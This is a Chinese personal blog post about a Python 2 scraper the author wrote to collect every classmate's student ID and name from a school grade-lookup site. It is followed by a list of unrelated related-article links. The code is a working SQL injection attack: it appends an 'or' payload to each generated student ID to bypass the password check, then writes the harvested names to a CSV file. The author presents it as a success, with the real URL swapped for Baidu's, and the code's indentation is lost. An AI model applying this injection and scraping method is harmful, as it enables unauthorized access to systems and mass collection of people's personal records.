背景:

学校的网站可以根据学号查学生姓名和成绩(三年后的补充:借助sql注入漏洞跳过密码,但是该网站现在已经被弃用了),所以我希望通过Python的爬虫得到年级所有同学的学号与姓名对应表。

实现:

首先需要算出所有学生的学号以方便查询。接下来要把学号和考试场次包装成待会要填入的信息,这可以用urllib模块里的函数urlencode完成。之后要访问网站,先用urllib2模块里的Request函数获得访问令牌(其实我也不知道是什么)(三年后的补充:Request函数构造了一个HTTP请求,后面urlopen函数以这个请求和一个表为参数发送Post请求),然后用urlopen函数把需要填入的信息和令牌传进去就可以得到查询结果网页的源代码了!

此后是分析源代码环节,经过分析后发现所需要的姓名在源代码中字符串“姓名”之后的>和&字符之间。故用find函数找到字符串“姓名”的位置,然后用两个变量找到>和&字符的位置,截取之间的字符串就可以得到姓名了。同时表格有一个叫csv的储存形式,是以文本的方式储存的,且可以通过各类Excel软件另存为为xls文件,是我们的首选。

既然是Python2,就不得不处理编码。在程序头添上使用utf-8的声明,同时在程序开始处加入

 import sys
reload(sys)
sys.setdefaultencoding('utf-8')

把程序内的字符串全部指定为Unicode字符串。同时网页源代码也要由gbk编码转为utf-8。有一点坑的就是原网页的编码是gb2312,结果有同学的姓名是一些奇怪的字,导致会RE。最后查了很久才发现要用gbk代替gb2312来解码。

代码:

#-*- coding: UTF-8 -*-
import urllib
import urllib2
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
url='http://www.baidu.com'
f=open('E:/list.csv','a')
for i in range(1,21):
for j in range(1,66):
table=[('xuehao',str(10000+i*100+j)+'\'or\''), ('kaoshi','')]
search=urllib.urlencode(table)
req=urllib2.Request(url)
get=urllib2.urlopen(req, search).read().decode('gbk').encode('utf-8')
l=r=get.find('姓名')
if l!=-1:
while get[l]!='>':
l+=1
while get[r]!='&':
r+=1
print str(10000+i*100+j)+get[l+1:r]
f.write(str(10000+i*100+j)+','+get[l+1:r]+'\n')
f.close()

注意我把学校查成绩的url改为百度的url了因为怕有人对我的学校网站做一些奇怪的事。

20161016

Python2爬取学生名单的更多相关文章

  1. python2爬取国家统计局全国省份城市区街道信息

    工作中,再次需要python,发现python用得好 ,真的可以节省很多人力,先说我的需求,需要做一个类似像支付宝添加收货地址时,选择地区的功能,需要详细到街道信息,也就是4级联动,如右图.首先需要的 ...

  2. nutch如何修改regex-urlfilter.txt爬取符合条件的链接

    例如我在爬取学生在线的时候,发现爬取不到特定的通知,例如<中粮福临门助学基金申请公告>,通过分析发现原来通知的链接被过滤掉了,下面对过滤url的配置文件regex-urlfilter.tx ...

  3. python2.7爬取豆瓣电影top250并写入到TXT,Excel,MySQL数据库

    python2.7爬取豆瓣电影top250并分别写入到TXT,Excel,MySQL数据库 1.任务 爬取豆瓣电影top250 以txt文件保存 以Excel文档保存 将数据录入数据库 2.分析 电影 ...

  4. Scrapy实战篇(八)之爬取教育部高校名单抓取和分析

    本节我们以网址https://daxue.eol.cn/mingdan.shtml为初始链接,爬取教育部公布的正规高校名单. 思路: 1.首先以上面的地址开始链接,抓取到下面省份对应的链接. 2.在解 ...

  5. python2.7 爬虫_爬取小说盗墓笔记章节及URL并导入MySQL数据库_20161201

    1.爬取页面 http://www.quanshu.net/book/9/9055/ 2.用到模块urllib(网页下载),re正则匹配取得title及titleurl,urlparse(拼接完整ur ...

  6. 7.5爬取猫眼Top100电影名单

    2018-7-5 20:22:57 还有有一丢丢成就感!以后可以爬取简单网站了!比如妹子图片,只是现在不知道咋下载! 正则还是刚看,要多去用正则!正则很强大的东西! #!/usr/bin/env py ...

  7. Python2.7-浙江省实时天气爬取

    先对中国天气网的实时天气数据进行了研究,数据在http://www.weather.com.cn/weather1d/101010100.shtml中,可以通过城市代码进行爬取,但实况数据是用JS动态 ...

  8. python2.7 爬取简书30日热门专题文章之简单分析_20170207

    昨天在简书上写了用Scrapy抓取简书30日热门文章,对scrapy是刚接触,跨页面抓取以及在pipelines里调用settings,连接mysql等还不是很熟悉,今天依旧以单独的py文件区去抓取数 ...

  9. 小爬虫。爬取网站多页的通知标题并存取在txt文档里。

    爬取网页中通知标题的内容展示: this is  1  page!<精算学综合>科目考试参考大纲2016年上半年研究生开题报告评议审核结果公示[答辩]2016下半年研究生论文答辩及学位评定 ...

随机推荐

  1. OSI七层模型工作过程&&输入URL浏览器的工作过程(超详细!!)

    从以下10个方面深入理解输入URL后整个模型以及浏览器的工作流程! 目录 1.HTTP 2.DNS 3.协议栈 4.TCP 5.IP 6.MAC 7.网卡 8.交换机 9.路由器 10.服务器与客户端 ...

  2. 机器学习中的标准化方法(Normalization Methods)

    希望这篇随笔能够从一个实用化的角度对ML中的标准化方法进行一个描述.即便是了解了标准化方法的意义,最终的最终还是要:拿来主义,能够在实践中使用. 动机:标准化的意义是什么? 我们为什么要标准化?想象我 ...

  3. Ehcache基础入门

    1. 基本介绍 EhCache 是一个纯Java的进程内缓存框架,具有快速.精干等特点,是Hibernate中默认CacheProvider.Ehcache是一种广泛使用的开源Java分布式缓存.主要 ...

  4. java中整数的常量优化机制

    java正常两个整数类型相加默认提升为int类型,如接受的类型比int小则会报错,当两个整数常量相加不超范围的情况下是不会报错 byte b = 3 +4: 条件:等号的右边必须全部都是整数常量才可以 ...

  5. vs2010调试运行时弹出对话框:系统找不到指定文件

    很多时候,我们会将一些低版本IDE编译过的项目,搬迁到VS2010 ,那么会存在很多编译,调试问题.[1] 编译成功了.可是无法调试 . .       显示 无法启动程序“...........\t ...

  6. jmeter跨线程组获取cookie或jmeter线程组共享cookie-笔者亲测

    一.Jmeter版本 此次示例采用的是apache-jmeter-5.2.1版本 二.设置配置文件使Cookie管理器保存cookie信息. 修改apache-jmeter-5.2.1/bin/jme ...

  7. 如何在Linux下使用Tomcat部署Web应用(图文)

    学习Java必不可少的视同Tomcat,但是如果不会使用tomcat部署项目,那也是白扯,在这里教大家如果在Linux系统下视同Tomcat部署Web应用.   工具/原料   Apache-tomc ...

  8. 谈谈javaSE中的==和equals的联系与区别

    前言 ==和equals是我们面试中经常会碰到的问题.那么它们之间有什么联系和区别呢?今天我们就来聊聊吧! 问题 这里先抛出一些比较典型笔试问题: int x = 10; int y = 10; St ...

  9. 解密TaurusDB存储端高并发之线程池

    摘要:为了能加快相关任务的高效执行,TaurusDB采用多线程技术处理的方式,增加处理器单元的吞吐能力,从而提高存储端的执行效率. 1. TaurusDB背景 随着云计算进入2.0时代,数据急剧膨胀, ...

  10. Linux 递归批量删除文件夹或文件的命令

    笔者有一次Linux服务器上的网站被别人在每一个文件夹下恶意注入了目录和文件,由于项目的目录太多,手动删除费时费力,最后用Linux的命令批量删除了注入内容.相关命令介绍如下: 递归批量删除文件夹: ...